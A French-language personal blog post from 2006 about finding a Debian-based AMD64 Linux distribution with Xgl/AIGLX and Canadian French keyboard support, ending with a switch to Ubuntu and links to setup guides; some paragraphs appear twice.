Debian car c'est les .debs intègre réellement un arbre de dépendances dans les paquets semble-t'il..
AMD64 car je veux exploiter mon dernier joujou
et enfin je veux voir XGL ou autre bidule fonctionnant sur mon PC .
Jusqu'ici j' envisage Knoppix , dérivé Debian, mais... Comment on embarque XGl ?
j'ai pas de trouvé de tutoriel clair.
J'ai entendu dire que Sylvie Migneault avait eu confirmation de Klaus Knopper que la correction de la disposition du clavier serait faite il y a un bout de temps.
Je suis peut-être trop exigeant. Knoppix 64 semble en être à ses balbutiements,
Xgl semble être un rituel vaudou, surtout sur ma voodoo 3 2000
(pci 16mb 3dfx flashée/overclockée +34mhz)
Linux commence à me taper sur les nerfs...
EDIT: BON AU MOINS J'AI TROUVÉ KTOON ET STUDIO64 ,
2 DISTRIBUTIONS LIVE-CD DE LINUX L'UNE DÉDIÉE À L'ANIMATION
L'AUTRE À LA PRODUCTION D'IMAGES ET DE SONS , EN PROFITANT
DES BIENFAITS DU 64 BITS.
Je cherche une distribution basée Debian , AMD64, supportant Xgl ou AiXgl supportant vraiment le clavier canadien français standard (KB=cf) et multilingue .
Debian car c'est les .debs intègre réellement un arbre de dépendances dans les paquets semble-t'il..
AMD64 car je veux exploiter mon dernier joujou
et enfin je veux voir XGL ou autre bidule fonctionnant sur mon PC .
Jusqu'ici j' envisage Knoppix , dérivé Debian, mais... Comment on embarque XGl ?
j'ai pas de trouvé de tutoriel clair.
J'ai entendu dire que Sylvie Migneault avait eu confirmation de Klaus Knopper que la correction de la disposition du clavier serait faite il y a un bout de temps.
Je suis peut-être trop exigeant. Knoppix 64 semble en être à ses balbutiements,
Xgl semble être un rituel vaudou, surtout sur ma voodoo 3 2000
(pci 16mb 3dfx flashée/overclockée +34mhz)
Linux commence à me taper sur les nerfs...
EDIT: BON AU MOINS J'AI TROUVÉ KTOON ET STUDIO64 ,
2 DISTRIBUTIONS LIVE-CD DE LINUX L'UNE DÉDIÉE À L'ANIMATION
L'AUTRE À LA PRODUCTION D'IMAGES ET DE SONS , EN PROFITANT
DES BIENFAITS DU 64 BITS.
samedi 5 août 2006
jeudi 3 août 2006
mardi 1 août 2006
Je vais passer a ubuntu.
Je suis passé à 64bits. Je vais donc me tapper un os@64 et aixgl et compiz sous ubuntu.
http://doc.ubuntu-fr.org/applications/aiglx
http://forum.ubuntu-fr.org/viewtopic.php?id=46655
http://www.ubuntuforums.org/showthread.php?p=491079#post491079
Au menu, 32 bits sous 64bits, desktop en 3d et wine32 sur un 64.
http://doc.ubuntu-fr.org/applications/aiglx
http://forum.ubuntu-fr.org/viewtopic.php?id=46655
http://www.ubuntuforums.org/showthread.php?p=491079#post491079
Au menu, 32 bits sous 64bits, desktop en 3d et wine32 sur un 64.
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